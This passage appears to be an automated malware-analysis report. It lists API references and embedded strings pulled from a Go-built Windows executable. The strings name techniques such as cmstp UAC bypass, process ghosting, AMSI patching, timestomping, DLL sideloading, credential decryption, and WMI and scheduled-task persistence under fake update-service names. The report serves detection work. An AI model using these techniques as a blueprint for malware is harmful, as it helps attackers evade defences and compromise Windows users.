".decrypt"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "crypto/internal/fips140/aes.decryptBlockGeneric" (Indicator: ".decrypt"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "crypto/internal/fips140/aes.decryptBlockAsm" (Indicator: ".decrypt"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "tripledescryptoserviceprovider" (Indicator: "TripleDESCryptoServiceProvider"; Source: "00000000-00001336.00000000.107993.B47D0000.00000004.mdmp")30:Ta6f1,Found api reference "exchange fullRegEnumKeyExWRegOpenKeyExWCertOpenStoreFindNextFileWMapViewOfFileVirtualUnlockWriteConsoleWFreeAddrInfoWgethostbynamegetservbynamesvcwork%x.exeInstallBrokerComponentHostGoogle\UpdatewakeableSleepprofMemActiveprofMemFuturetraceStackTabexecRInternaltestRInternalGC sweep waitsynctest.Waitout of memory is nil, not value method heap metadata span.base()=bad flushGen created at: , not pointer != sweepgen MB globals, work.nproc= nStackRoots= flushedWork double unlock s.spanclass=GC span queue MB) workers=min too large-byte block (runtime: val=runtime: seq=fatal error: idlethreads= syscalltick=load64 failedxadd64 failedxchg64 failednil stackbase}sched={pc:, gp->status= pluginpath= : unknown pc called from runtime: pid=write inf: %w"%s" /au "%s"cmstp: pid=%dDialerProfilepatch PEB: %wd3d10warp.dllP1 failed: %vP2 failed: %vempty payloadLocalServer32dalTLDpSugct?GetFileSizeExGetTempPath2WModule32NextWRtlGetVersion3814697265625unknown errorRegDeleteKeyWRegEnumValueWno export dircrypto/subtlegocachever" (Indicator: "CertOpenStore"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found api reference "ifyhtml/templateinstallgoroottlsmaxrsasizeNTSTATUS 0x%XDeleteServiceStartServiceWGetIfEntry2ExFindResourceWGetDriveTypeWThread32FirstWaitCommEventRtlInitStringCoTaskMemFreeEnumProcessesShellExecuteWExitWindowsExGetClassNameWtimeEndPeriodWTSFreeMemory#failfipscastHMAC-SHA2-256Telemetry donelibvlccore.dllexit status 0xfile too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeGetProcAddressProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #asynctimerchanMetadataWorkerSecurityHelperuserArenaStateGC (dedicated)read mem statsupdatemaxprocsgcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type nil elem type! to finalizer finalizers + GC worker initruntime: full=runtime: want=scan: class L MB; allocated allspans arrayscavenge indexno deferreturnbad re" (Indicator: "CertCloseStore"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found api reference "ifyhtml/templateinstallgoroottlsmaxrsasizeNTSTATUS 0x%XDeleteServiceStartServiceWGetIfEntry2ExFindResourceWGetDriveTypeWThread32FirstWaitCommEventRtlInitStringCoTaskMemFreeEnumProcessesShellExecuteWExitWindowsExGetClassNameWtimeEndPeriodWTSFreeMemory#failfipscastHMAC-SHA2-256Telemetry donelibvlccore.dllexit status 0xfile too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeGetProcAddressProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #asynctimerchanMetadataWorkerSecurityHelperuserArenaStateGC (dedicated)read mem statsupdatemaxprocsgcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type nil elem type! to finalizer finalizers + GC worker initruntime: full=runtime: want=scan: class L MB; allocated allspans arrayscavenge indexno deferreturnbad re" (Indicator: "CryptGenRandom"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found api reference "runtime: head = already; errno=runtime stack:invalid g statusbad g transitionschedule: in cgoreflect mismatch untyped locals missing stackmapbad symbol tablenon-Go functionpointerless type not in ranges:bad DLL name: %wP3: pipe createdexec: no command: value of type DuplicateTokenExSetEntriesInAclWCreateNamedPipeWGetCurrentThreadGetModuleHandleWRtlVirtualUnwind2384185791015625invalid bit size0123456789ABCDEFnull module baseGODEBUG: value "allowmultiplevcscryptocustomrandhttpcookiemaxnumSetServiceStatusCryptProtectDataCryptQueryObjectConnectNamedPipeCreateJobObjectWDefineDosDeviceWFindFirstVolumeWGetLogicalDrivesGetNamedPipeInfoGetPriorityClassSetDllDirectoryWSetFileValidDataSetPriorityClassVirtualProtectExRtlGetCurrentPebEnumChildWindowsGetDesktopWindowGetGUIThreadInfoWinVerifyTrustExavx512vpclmulqdqRCodeFormatErrorbreakaway_consoleLog file = %sDebugMode = %vInMemoryMode = %vMemoryMethod = %sDiskFallback = %vUACBypass = %qWorkDirName = %sEnableStartup= %vStartupMethod= %qElevated = %vMemo" (Indicator: "CryptQueryObject"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe"), Found api reference "runtime.newosprocinternal/runtime/thread exhaustionlocked m0 woke upentersyscallblock spinningthreads=gp.waiting != niltaggedPointerPackunknown caller pcstack: frame={sp:trace arena allocruntime: nameOff runtime: typeOff runtime: textOff cmstp missing: %wcmstp: dialog: %vcreate thread: %wexplorerframe.dll%s already loadedprotect RW %s: %wprotect RX %s: %wos/exec.Command(exec: killing Cmdexec: not startedCache Maintenanceunknown type kindreflect: call of reflect.Value.Len1192092895507812559604644775390625RegLoadMUIStringWmultipartmaxpartsurlmaxqueryparamsAdjustTokenGroupsIsTokenRestrictedCertFindExtensionCryptDecodeObjectReadProcessMemoryQueryWorkingSetExGetKeyboardLayoutWTSQueryUserTokenunexpected resultEnvironment specs:Script settle doneschtask_com: beginpowershell timeout CHECK %-25s PASS CHECK %-25s FAILreflect.Value.UintGetExitCodeProcesssegmentation faultoperation canceledno child processesconnection refusedRFS specific erroridentifier removedinput/output errormultihop attemptedfile name too longno l" (Indicator: "CertFindExtension"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found api reference "runtime.newosprocinternal/runtime/thread exhaustionlocked m0 woke upentersyscallblock spinningthreads=gp.waiting != niltaggedPointerPackunknown caller pcstack: frame={sp:trace arena allocruntime: nameOff runtime: typeOff runtime: textOff cmstp missing: %wcmstp: dialog: %vcreate thread: %wexplorerframe.dll%s already loadedprotect RW %s: %wprotect RX %s: %wos/exec.Command(exec: killing Cmdexec: not startedCache Maintenanceunknown type kindreflect: call of reflect.Value.Len1192092895507812559604644775390625RegLoadMUIStringWmultipartmaxpartsurlmaxqueryparamsAdjustTokenGroupsIsTokenRestrictedCertFindExtensionCryptDecodeObjectReadProcessMemoryQueryWorkingSetExGetKeyboardLayoutWTSQueryUserTokenunexpected resultEnvironment specs:Script settle doneschtask_com: beginpowershell timeout CHECK %-25s PASS CHECK %-25s FAILreflect.Value.UintGetExitCodeProcesssegmentation faultoperation canceledno child processesconnection refusedRFS specific erroridentifier removedinput/output errormultihop attemptedfile name too longno l" (Indicator: "CryptDecodeObject"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found api reference "e of closed file298023223876953125x509negativeserial/Drivers/etc/hostsCM_MapCrToWin32ErrCloseServiceHandleCreateWellKnownSidMakeSelfRelativeSDCertGetNameStringWCryptUnprotectDataPFXImportCertStoreGetBestInterfaceExClosePseudoConsoleEscapeCommFunctionGetCommModemStatusGetConsoleOutputCPGetCurrentThreadIdGetModuleHandleExWGetVolumePathNameWRemoveDllDirectorySetConsoleOutputCPTerminateJobObjectWriteProcessMemoryEnumProcessModulesGetModuleBaseNameWRCodeServerFailurego fips object v1scheduleCleanup: %vEnableCOMPersist=%vMkdirAll failed: %vpersist skip %s: %vAdobeARMHealthCheckWaitForSingleObjectreflect.Value.IsNilreflect.Value.FloatGetFileAttributesExillegal instructionbad file descriptordisk quota exceededtoo many open filesdevice not a streamdirectory not emptyCryptReleaseContextGetTokenInformationCreateSymbolicLinkWGetCurrentProcessIdEgypt Standard TimeSudan Standard TimeLibya Standard TimeBahia Standard TimeHaiti Standard TimeYukon Standard TimeAltai Standard TimeIndia Standard TimeSyria Standard TimeRussia T" (Indicator: "CertGetNameStringW"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found api reference "e of closed file298023223876953125x509negativeserial/Drivers/etc/hostsCM_MapCrToWin32ErrCloseServiceHandleCreateWellKnownSidMakeSelfRelativeSDCertGetNameStringWCryptUnprotectDataPFXImportCertStoreGetBestInterfaceExClosePseudoConsoleEscapeCommFunctionGetCommModemStatusGetConsoleOutputCPGetCurrentThreadIdGetModuleHandleExWGetVolumePathNameWRemoveDllDirectorySetConsoleOutputCPTerminateJobObjectWriteProcessMemoryEnumProcessModulesGetModuleBaseNameWRCodeServerFailurego fips object v1scheduleCleanup: %vEnableCOMPersist=%vMkdirAll failed: %vpersist skip %s: %vAdobeARMHealthCheckWaitForSingleObjectreflect.Value.IsNilreflect.Value.FloatGetFileAttributesExillegal instructionbad file descriptordisk quota exceededtoo many open filesdevice not a streamdirectory not emptyCryptReleaseContextGetTokenInformationCreateSymbolicLinkWGetCurrentProcessIdEgypt Standard TimeSudan Standard TimeLibya Standard TimeBahia Standard TimeHaiti Standard TimeYukon Standard TimeAltai Standard TimeIndia Standard TimeSyria Standard TimeRussia T" (Indicator: "CryptReleaseContext"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found api reference "e of closed file298023223876953125x509negativeserial/Drivers/etc/hostsCM_MapCrToWin32ErrCloseServiceHandleCreateWellKnownSidMakeSelfRelativeSDCertGetNameStringWCryptUnprotectDataPFXImportCertStoreGetBestInterfaceExClosePseudoConsoleEscapeCommFunctionGetCommModemStatusGetConsoleOutputCPGetCurrentThreadIdGetModuleHandleExWGetVolumePathNameWRemoveDllDirectorySetConsoleOutputCPTerminateJobObjectWriteProcessMemoryEnumProcessModulesGetModuleBaseNameWRCodeServerFailurego fips object v1scheduleCleanup: %vEnableCOMPersist=%vMkdirAll failed: %vpersist skip %s: %vAdobeARMHealthCheckWaitForSingleObjectreflect.Value.IsNilreflect.Value.FloatGetFileAttributesExillegal instructionbad file descriptordisk quota exceededtoo many open filesdevice not a streamdirectory not emptyCryptReleaseContextGetTokenInformationCreateSymbolicLinkWGetCurrentProcessIdEgypt Standard TimeSudan Standard TimeLibya Standard TimeBahia Standard TimeHaiti Standard TimeYukon Standard TimeAltai Standard TimeIndia Standard TimeSyria Standard TimeRussia T" (Indicator: "CryptUnprotectData"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found api reference "e of closed file298023223876953125x509negativeserial/Drivers/etc/hostsCM_MapCrToWin32ErrCloseServiceHandleCreateWellKnownSidMakeSelfRelativeSDCertGetNameStringWCryptUnprotectDataPFXImportCertStoreGetBestInterfaceExClosePseudoConsoleEscapeCommFunctionGetCommModemStatusGetConsoleOutputCPGetCurrentThreadIdGetModuleHandleExWGetVolumePathNameWRemoveDllDirectorySetConsoleOutputCPTerminateJobObjectWriteProcessMemoryEnumProcessModulesGetModuleBaseNameWRCodeServerFailurego fips object v1scheduleCleanup: %vEnableCOMPersist=%vMkdirAll failed: %vpersist skip %s: %vAdobeARMHealthCheckWaitForSingleObjectreflect.Value.IsNilreflect.Value.FloatGetFileAttributesExillegal instructionbad file descriptordisk quota exceededtoo many open filesdevice not a streamdirectory not emptyCryptReleaseContextGetTokenInformationCreateSymbolicLinkWGetCurrentProcessIdEgypt Standard TimeSudan Standard TimeLibya Standard TimeBahia Standard TimeHaiti Standard TimeYukon Standard TimeAltai Standard TimeIndia Standard TimeSyria Standard TimeRussia T" (Indicator: "PFXImportCertStore"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptioncmstp: service = %sCreateNamedPipe: %wPEB address is nullwindows.storage.dllAMSI phase completeexec: canceling Cmdreflect.Value.Bytesreflect.Value.Fieldreflect.Value.Indexskip this directorySetTokenInformationGetOverlappedResultMultiByteToWideCharWSADuplicateSocketW14901161193847656257450580596923828125file already existsfile does not existfile already closedembedfollowsymlinksgotestjsonbuildtextmultipartmaxheadersQueryServiceConfigWCreatePseudoConsoleDisconnectNamedPipeGetDiskFreeSpaceExWGetLargePageMinimumGetSystemDirectoryWResizePseudoConsoleRtlAddFunctionTableGetForegroundWindowLoadKeyboardLayoutWGetFileVersionInfoWWSALookupServiceEndRegConnectRegistryWRCodeNotImplementedlaunch: timestompingLaunching payload...WMI subscription: %sinvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWC" (Indicator: "CryptAcquireContextW"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found api reference "id MZ signatureinvalid PE signatureinvalid write resultGetAdaptersAddressesNtSetInformationFileRtlIsDosDeviceName_UGetProcessMemoryInfobcryptprimitives.dll37252902984619140625zlib: invalid headerhttplaxcontentlengthx509usefallbackrootsgetadaptersaddressesChangeServiceConfigWCheckTokenMembershipQueryServiceConfig2WQueryServiceStatusExRegisterEventSourceWCertFindChainInStoreGetWindowsDirectoryWProcessIdToSessionIdSetVolumeMountPointWRtlInitUnicodeStringEnumProcessModulesExGetModuleFileNameExWGetModuleInformationSetupDiOpenDevRegKeySHGetKnownFolderPathUnloadKeyboardLayoutsha3: Sum after ReadCompanion decrypt: %vPatching telemetry...Decryption failed: %v Arguments : (none)EdgeUpdateCompatCheckOEM_UpdateHealthCheckreflect.Value.Complextrace/breakpoint trapuser defined signal 1user defined signal 2link has been severedpackage not installedblock device requiredstate not recoverableread-only file systemstale NFS file handleReadDirectoryChangesWNetGetJoinInformationMorocco Standard TimeNamibia Standard TimeAlaskan S" (Indicator: "CertFindChainInStore"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found api reference "Cleanup scheduled in %dscmstp: elevated re-entrycmstp elevate failed: %vGoogleSoftwareUpdateCoreWindows_CacheMaintenanceEdge_UpdateCompatibilityinvalid argument to Intn%AppData% is not definedfloating point exceptionconnection reset by peerlevel 2 not synchronizedlink number out of rangeout of streams resourcesfunction not implementedstructure needs cleaningnot supported by windowsCertFreeCertificateChainCreateToolhelp32SnapshotGetUserProfileDirectoryWSA Pacific Standard TimeSA Eastern Standard TimeUS Eastern Standard TimeSA Western Standard TimeMontevideo Standard TimeMagallanes Standard TimePacific SA Standard TimeAzerbaijan Standard TimeBangladesh Standard TimeNorth Asia Standard TimeCape Verde Standard TimeCoCreateInstance: 0x%08xget RegistrationInfo: %wtracecheckstackownershipwaiting for cgo callbackhash of unhashable type span has no free objectsruntime: found obj at *(runtime: VirtualFree of /cgo/go-to-c-calls:calls/gc/heap/objects:objects/sched/latencies:secondsqueuefinalizer during GCcheckfinalizers:" (Indicator: "CertFreeCertificateChain"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found api reference "SystemShutdownExWIsValidSecurityDescriptorSetSecurityDescriptorDaclSetSecurityDescriptorSaclFindNextVolumeMountPointWFindVolumeMountPointCloseQueryInformationJobObjectNtQueryInformationProcessSetupDiCallClassInstallerSetupDiGetDevicePropertyWSetupDiGetSelectedDriverWSetupDiSetSelectedDriverWtesting simulated failurePayload file not found: %vinvalid argument to Int63ninvalid argument to Int31nGetFileInformationByHandleinvalid request descriptorno CSI structure availablerequired key not availableno message of desired typename not unique on networkCertFreeCertificateContextPostQueuedCompletionStatusSetFileInformationByHandleSouth Africa Standard TimeSaint Pierre Standard TimeNewfoundland Standard TimeCentral Asia Standard TimeEkaterinburg Standard TimeE. Australia Standard TimeW. Australia Standard TimeBougainville Standard TimeLine Islands Standard TimeWest Pacific Standard Timedecrypt: wrote clear PE %sUpdates Microsoft OneDriveApplication update serviceTriggers.Create(Logon): %wRegisterTaskDefinition: %wall g" (Indicator: "CertFreeCertificateContext"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found api reference "oroutines stack traceGC background sweeper waitcall from unknown functionnotewakeup - double wakeuppersistentalloc: size == 0/gc/cycles/total:gc-cyclesbad type kind in finalizerfailed putFast after drainnegative idle mark workersuse of invalid sweepLockerruntime: bad span s.state=forEachP: P did not run fnwakep: negative nmspinningstartlockedm: locked to meinittask with no functionscorrupted semaphore ticketout of memory (stackalloc)shrinking stack in libcallruntime: pcHeader: magic= traceRegion: out of memoryabcdefghijklmnopqrstuvwxyzghosting: NtCreateFile: %winit: stomp: %v; alloc: %wNtProtectVirtualMemory: %wread ProcessParameters: %wstomp: fresh copy %s -> %sVirtualQuery failed @ 0x%X using unaddressable valueunknown ABI parameter kindRtlNtStatusToDosErrorNoTeb1455191522836685180664062572759576141834259033203125NtWriteFile: NTSTATUS 0x%XGetSecurityDescriptorGroupGetSecurityDescriptorOwnerNotifyServiceStatusChangeWSetSecurityDescriptorGroupSetSecurityDescriptorOwnerCertFindCertificateInStoreFindFirstVolume" (Indicator: "CertFindCertificateInStore"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found api reference "MountPointWFindNextChangeNotificationGetConsoleScreenBufferInfoGetProcessWorkingSetSizeExGetSystemWindowsDirectoryWQueryFullProcessImageNameWSetProcessWorkingSetSizeExSetupDiBuildDriverInfoListchacha20: wrong nonce sizechacha20: counter overflowentropy: nil memory bufferCreateProcess %s failed: %vC:\Windows\System32\cmd.exeCompanion CreateProcess: %vCompanion launched (PID %d)Process Ghosting failed: %vWMI persistence created: %sPersistence setup completedinvalid argument to Shuffleinconsistent process statuschannel number out of rangecommunication error on sendkey was rejected by servicenot a XENIX named type fileCertEnumCertificatesInStoreEaster Island Standard TimePageCachePagesLeaked (test)makechan: size out of rangeG waiting list is corruptedM structure uses sizeclass runtime" (Indicator: "CertEnumCertificatesInStore"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found api reference "80709171295166015625BoundsDecode decoding errorabi.NewName: tag too long: httpservecontentkeepheadersNtCreateFile: NTSTATUS 0x%XNtCreateSection syscall: %wGetSecurityDescriptorLengthStartServiceCtrlDispatcherWFindCloseChangeNotificationGetNamedPipeClientProcessIdGetNamedPipeServerProcessIdGetUserPreferredUILanguagesSetupDiClassNameFromGuidExWSetupDiGetDeviceInstanceIdWSetupDiGetDriverInfoDetailWreflectlite.Value.Interfacereflectlite.Value.NumMethodCompanion file not found: %sCompanion decrypted in-place18071f0d1a1b000d0404460d100dSideload kit copy failed: %vstub mutex create failed: %vos: process already finishedGetFileInformationByHandleExfile descriptor in bad statedestination address requiredprotocol driver not attachedCertCreateCertificateContextCanada Central Standard TimeCen. Australia Standard TimeAus Central W. Standard TimeCentral Europe Standard TimeEnglish name for time zone "GC mark assist wait for workcomparing uncomparable type region exceeds uintptr range/gc/cleanups/queued:cleanups/gc/heap/fre" (Indicator: "CertCreateCertificateContext"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe"), Found api reference "erent scopes)notetsleep - waitm out of syncfailed to get system page sizeruntime: found in object at *( in prepareForSweep; sweepgen is reachable from finalizer/cpu/classes/total:cpu-seconds/gc/cleanups/executed:cleanups/gc/cycles/automatic:gc-cycles/sched/pauses/total/gc:seconds/sync/mutex/wait/total:seconds/godebug/non-default-behavior/bcryptprimitives.dll not foundpanic called with nil argumentcheckdead: inconsistent countsrunqputslow: queue is not fullruntime: bad pointer in frame invalid pointer found on stack locals stack map entries for abi mismatch detected between runtime: impossible type kind unsafe.Slice: len out of rangeghosting: NtCreateThreadEx: %wMapIter.Key called before Nextreflect: Elem of invalid type 227373675443232059478759765625GODEBUG: unknown cpu feature "NtCreateSection: NTSTATUS 0x%XGetSecurityDescriptorRMControlQueryServiceDynamicInformationSetSecurityDescriptorRMControlCertDeleteCertificateFromStoreGetProcessPreferredUILanguagesGetSystemTimePreciseAsFileTimeSetupDiCreateDeviceIn" (Indicator: "CertDeleteCertificateFromStore"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found api reference "runtime.Pinner: argument is nilcasgstatus: bad incoming valuesresetspinning: not a spinning mP destroyed while GC is runningruntime: profBuf already closedruntime: split stack overflow: ...additional frames elided...unsafe.String: len out of rangeghosting: NtCreateProcessEx: %wwrite PEB.ProcessParameters: %wreloc: delta=0x%X but no .relocC:\Windows\System32\conhost.exeC:\Windows\System32\notepad.exeC:\Windows\System32\msiexec.exeC:\Windows\System32\svchost.exereflect: Len of non-array type 11368683772161602973937988281255684341886080801486968994140625NtCreateThreadEx: NTSTATUS 0x%XNtReadVirtualMemory syscall: %wencoding/hex: invalid byte: %#UCertDuplicateCertificateContextSetupDiGetDeviceInfoListDetailWcrypto/aes: len(dst) < len(src)CreateProcess OK via %s (PID %d)Microsoft\Windows\Shell\Handlerscmstp: silent elevate via INF...resource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicychacha20poly1305: bad ke" (Indicator: "CertAddCertificateContextToStore"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found api reference "runtime.Pinner: argument is nilcasgstatus: bad incoming valuesresetspinning: not a spinning mP destroyed while GC is runningruntime: profBuf already closedruntime: split stack overflow: ...additional frames elided...unsafe.String: len out of rangeghosting: NtCreateProcessEx: %wwrite PEB.ProcessParameters: %wreloc: delta=0x%X but no .relocC:\Windows\System32\conhost.exeC:\Windows\System32\notepad.exeC:\Windows\System32\msiexec.exeC:\Windows\System32\svchost.exereflect: Len of non-array type 11368683772161602973937988281255684341886080801486968994140625NtCreateThreadEx: NTSTATUS 0x%XNtReadVirtualMemory syscall: %wencoding/hex: invalid byte: %#UCertDuplicateCertificateContextSetupDiGetDeviceInfoListDetailWcrypto/aes: len(dst) < len(src)CreateProcess OK via %s (PID %d)Microsoft\Windows\Shell\Handlerscmstp: silent elevate via INF...resource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicychacha20poly1305: bad ke" (Indicator: "CertDuplicateCertificateContext"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found api reference "runtime.Pinner: argument is nilcasgstatus: bad incoming valuesresetspinning: not a spinning mP destroyed while GC is runningruntime: profBuf already closedruntime: split stack overflow: ...additional frames elided...unsafe.String: len out of rangeghosting: NtCreateProcessEx: %wwrite PEB.ProcessParameters: %wreloc: delta=0x%X but no .relocC:\Windows\System32\conhost.exeC:\Windows\System32\notepad.exeC:\Windows\System32\msiexec.exeC:\Windows\System32\svchost.exereflect: Len of non-array type 11368683772161602973937988281255684341886080801486968994140625NtCreateThreadEx: NTSTATUS 0x%XNtReadVirtualMemory syscall: %wencoding/hex: invalid byte: %#UCertDuplicateCertificateContextSetupDiGetDeviceInfoListDetailWcrypto/aes: len(dst) < len(src)CreateProcess OK via %s (PID %d)Microsoft\Windows\Shell\Handlerscmstp: silent elevate via INF...resource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicychacha20poly1305: bad ke" (Indicator: "CertVerifyCertificateChainPolicy"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found api reference "etimer period must be non-negativetoo many concurrent timer firingsruntime: name offset out of rangeruntime: type offset out of rangememload: parsing PE (%d bytes)...P3: WriteFile complete (%d bytes)LoadLibraryExW hash not found: %wreflect: slice index out of range of method on nil interface valuereflect: Field index out of rangereflect: array index out of rangeskip everything and stop the walkGetVolumeNameForVolumeMountPointWwaiting for unsupported file typecan't wait on blocking operations142108547152020037174224853515625710542735760100185871124267578125fixedFtoa called with digits > 18unknown optional header magic: %xGODEBUG: no value specified for "concurrent map read and map writetable must have positive capacityCryptAcquireCertificatePrivateKeySetupDiGetDeviceRegistryPropertyWSetupDiSetDeviceRegistryPropertyWcrypto/aes: output not full blockleafCounts[maxBits][maxBits] != nGODEBUG sys/cpu: can not enable "Companion: invalid XOR key in argscreateCompanionTask COM FAILED: %v Script %d finished in backgro" (Indicator: "CryptAcquireCertificatePrivateKey"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found api reference "exchange fullRegEnumKeyExWRegOpenKeyExWCertOpenStoreFindNextFileWMapViewOfFileVirtualUnlockWriteConsoleWFreeAddrInfoWgethostbynamegetservbynamesvcwork%x.exeInstallBrokerComponentHostGoogle\UpdatewakeableSleepprofMemActiveprofMemFuturetraceStackTabexecRInternaltestRInternalGC sweep waitsynctest.Waitout of memory is nil, not value method heap metadata span.base()=bad flushGen created at: , not pointer != sweepgen MB globals, work.nproc= nStackRoots= flushedWork double unlock s.spanclass=GC span queue MB) workers=min too large-byte block (runtime: val=runtime: seq=fatal error: idlethreads= syscalltick=load64 failedxadd64 failedxchg64 failednil stackbase}sched={pc:, gp->status= pluginpath= : unknown pc called from runtime: pid=write inf: %w"%s" /au "%s"cmstp: pid=%dDialerProfilepatch PEB: %wd3d10warp.dllP1 failed: %vP2 failed: %vempty payloadLocalServer32dalTLDpSugct?GetFileSizeExGetTempPath2WModule32NextWRtlGetVersion3814697265625unknown errorRegDeleteKeyWRegEnumValueWno export dircrypto/subtlegocacheve" (Indicator: "CertOpenStore"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found api reference "ifyhtml/templateinstallgoroottlsmaxrsasizeNTSTATUS 0x%XDeleteServiceStartServiceWGetIfEntry2ExFindResourceWGetDriveTypeWThread32FirstWaitCommEventRtlInitStringCoTaskMemFreeEnumProcessesShellExecuteWExitWindowsExGetClassNameWtimeEndPeriodWTSFreeMemory#failfipscastHMAC-SHA2-256Telemetry donelibvlccore.dllexit status 0xfile too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeGetProcAddressProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #asynctimerchanMetadataWorkerSecurityHelperuserArenaStateGC (dedicated)read mem statsupdatemaxprocsgcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type nil elem type! to finalizer finalizers + GC worker initruntime: full=runtime: want=scan: class L MB; allocated allspans arrayscavenge indexno deferreturnbad r" (Indicator: "CertCloseStore"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found api reference "ifyhtml/templateinstallgoroottlsmaxrsasizeNTSTATUS 0x%XDeleteServiceStartServiceWGetIfEntry2ExFindResourceWGetDriveTypeWThread32FirstWaitCommEventRtlInitStringCoTaskMemFreeEnumProcessesShellExecuteWExitWindowsExGetClassNameWtimeEndPeriodWTSFreeMemory#failfipscastHMAC-SHA2-256Telemetry donelibvlccore.dllexit status 0xfile too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeGetProcAddressProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #asynctimerchanMetadataWorkerSecurityHelperuserArenaStateGC (dedicated)read mem statsupdatemaxprocsgcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type nil elem type! to finalizer finalizers + GC worker initruntime: full=runtime: want=scan: class L MB; allocated allspans arrayscavenge indexno deferreturnbad r" (Indicator: "CryptGenRandom"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found api reference "runtime: head = already; errno=runtime stack:invalid g statusbad g transitionschedule: in cgoreflect mismatch untyped locals missing stackmapbad symbol tablenon-Go functionpointerless type not in ranges:bad DLL name: %wP3: pipe createdexec: no command: value of type DuplicateTokenExSetEntriesInAclWCreateNamedPipeWGetCurrentThreadGetModuleHandleWRtlVirtualUnwind2384185791015625invalid bit size0123456789ABCDEFnull module baseGODEBUG: value "allowmultiplevcscryptocustomrandhttpcookiemaxnumSetServiceStatusCryptProtectDataCryptQueryObjectConnectNamedPipeCreateJobObjectWDefineDosDeviceWFindFirstVolumeWGetLogicalDrivesGetNamedPipeInfoGetPriorityClassSetDllDirectoryWSetFileValidDataSetPriorityClassVirtualProtectExRtlGetCurrentPebEnumChildWindowsGetDesktopWindowGetGUIThreadInfoWinVerifyTrustExavx512vpclmulqdqRCodeFormatErrorbreakaway_consoleLog file = %sDebugMode = %vInMemoryMode = %vMemoryMethod = %sDiskFallback = %vUACBypass = %qWorkDirName = %sEnableStartup= %vStartupMethod= %qElevated = %vMem" (Indicator: "CryptQueryObject"; File: 